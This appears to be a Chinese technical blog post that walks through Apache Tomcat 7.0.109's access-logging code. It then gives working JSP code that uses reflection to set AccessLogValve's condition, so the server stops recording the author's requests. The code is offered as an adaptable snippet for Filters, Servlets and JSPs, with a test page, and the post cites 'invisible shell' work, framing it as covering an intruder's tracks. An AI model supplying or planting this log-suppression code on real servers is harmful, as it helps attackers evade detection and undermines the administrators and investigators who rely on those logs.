源码分析
版本:apache-tomcat-7.0.109
日志配置
在 apache-tomcat-7.0.109/conf/server.xml
文件中可看到默认access日志记录配置,也是我们想要隐藏的:
<Host name="localhost" appBase="webapps"
unpackWARs="true" autoDeploy="true">
<!-- SingleSignOn valve, share authentication between web applications
Documentation at: /docs/config/valve.html -->
<!--
<Valve className="org.apache.catalina.authenticator.SingleSignOn" />
-->
<!-- Access log processes all example.
Documentation at: /docs/config/valve.html
Note: The pattern used is equivalent to using pattern="common" -->
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log." suffix=".txt"
pattern="%h %l %u %t "%r" %s %b" />
</Host>
想要隐藏访问日志,除了粗暴删改此配置之外,就只能从代码层面做改动。
该配置嵌于Host标签内,属于StandardHost类。可知默认情况下,StandardHost实例会进行日志记录。
从请求处理到日志记录
真正处理请求的地方在CoyoteAdapter的service方法中:connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);
这行代码是Engine处理请求的地方。这里面还有复杂的过程,最后会调用Servlet去处理。这里是责任链模式的使用。
在CoyoteAdapter的service方法中,请求处理完成后会调用logAccess进行日志记录。
由于前面已知我们需要关注的是StandardHost实例进行日志记录的操作。可在CoyoteAdapter中寻找到以下host进行logAccess操作的地方。
只有两处,一处是404后的日志记录,不是我们的目标:
另一处被包装于log方法内,需要关注:
但实际上对此处下断点,并不会走到此处。是哪里出问题了呢🤔
于是重新访问一个jsp页面,并一步步跟进寻找记录log的代码。
其中context是StandardContext,调用logAccess。跟进发现是ContainerBase的logAccess方法。
由于默认情况下只有Host注册了日志记录。
此时继续调用父容器的logAccess方法,即到了StandardHost。
StandardHost的getAccessLog()返回非空,其中包含AccessLogValve实例。此时你是否就能联想到前面在配置文件中的className="org.apache.catalina.valves.AccessLogValve"
。:)
继续跟进,发现getAccessLog().log(request, response, time);
方法即为对accessLog的logs中的每个AccessLogValve对象调用其log方法。看看对象的内容是不是很眼熟。
循环logElements提取信息存放到result中。log(result.toString());
方法会调用public void log(String message)
方法,可以看到该方法会真正将log信息写入文件。
向日志文件写入的是此块代码:
至此,我们对日志记录的代码逻辑有了一个较为清晰的认知。现在的问题在于从哪里中断日志记录的代码而不影响正常业务?
中断日志记录
考虑参考文章[2]中提到的方式进行尝试:
通过改动this.condition和request.getAttribute(this.conditiion),或者this.conditionIf和request.getAttribute(this.conditiionIf),令以上任一条件不成立,则第一个IF逻辑则无法进入,最终使得Tomcat不记录我们的访问记录。
可以看到作者提到的这块逻辑代码位于此版本环境(apache-tomcat-7.0.109)的AccessLogValve.java的public void log(Request request, Response response, long time)
方法中。也是前面步步跟进日志记录逻辑经过的地方。
if (
!getState().isAvailable() ||
!getEnabled() ||
logElements == null ||
condition != null && null != request.getRequest().getAttribute(condition) ||
conditionIf != null && null == request.getRequest().getAttribute(conditionIf)
)
{return;}
前面三个条件不能去改变,会影响Tomcat的一些正常代码逻辑。但是可以尝试让后两个条件任意一个为真。但是最后一个条件可能会影响到此后的所有访问都不记录日志,因此最终选择将第四个条件置为真:
condition != null && null != request.getRequest().getAttribute(condition)
即使AccessLogValve的condition与request的condition同时非空。
代码实现
以下代码片段适用于Filter、Servlet、JSP,但可能需要稍作修改/完善。
且不同tomcat版本可能存在实现差异,但明确原理后可快速定位源码中的处理逻辑,并修正完成。
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardHost" %>
<%@ page import="org.apache.catalina.AccessLog" %>
<%@ page import="org.apache.catalina.valves.AccessLogValve" %>
<%
Field requestF = request.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request req = (Request)requestF.get(request);
StandardHost standardHost = (StandardHost)req.getMappingData().host;
AccessLog[] logs = (AccessLog[])getFieldValue(standardHost.getAccessLog(), "logs");
for( AccessLog log:logs ){
((AccessLogValve)log).setCondition("WhatEverYouWant");//任意填入
}
request.setAttribute("WhatEverYouWant", "WhatEverYouWant");
%>
<%!
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
return f.get(obj);
}
%>
效果测试
Tomcat版本:apache-tomcat-7.0.109
测试文件:hello-hide.jsp
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardHost" %>
<%@ page import="org.apache.catalina.AccessLog" %>
<%@ page import="org.apache.catalina.valves.AccessLogValve" %>
<html>
<head>
<title>Hello, hidden world - JSP</title>
</head>
<body>
<%-- JSP Comment --%>
<h1>Hello, hidden world!</h1>
<p>
<%
out.println("Your IP address is ");
%>
<span style="color:red">
<%= request.getRemoteAddr() %>
</span>
</p>
</body>
</html>
<%
Field requestF = request.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request req = (Request)requestF.get(request);
StandardHost standardHost = (StandardHost)req.getMappingData().host;
AccessLog[] logs = (AccessLog[])getFieldValue(standardHost.getAccessLog(), "logs");
for( AccessLog log:logs ){
((AccessLogValve)log).setCondition("WhatEverYouWant");//任意填入
}
request.setAttribute("WhatEverYouWant", "WhatEverYouWant");
%>
<%!
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
return f.get(obj);
}
%>
参考
[1].Tomcat 源代码调试 - 看不见的 Shell 第二式增强之无痕
[2].Tomcat容器攻防笔记之隐匿行踪
[3].tomcat7中对http请求的处理过程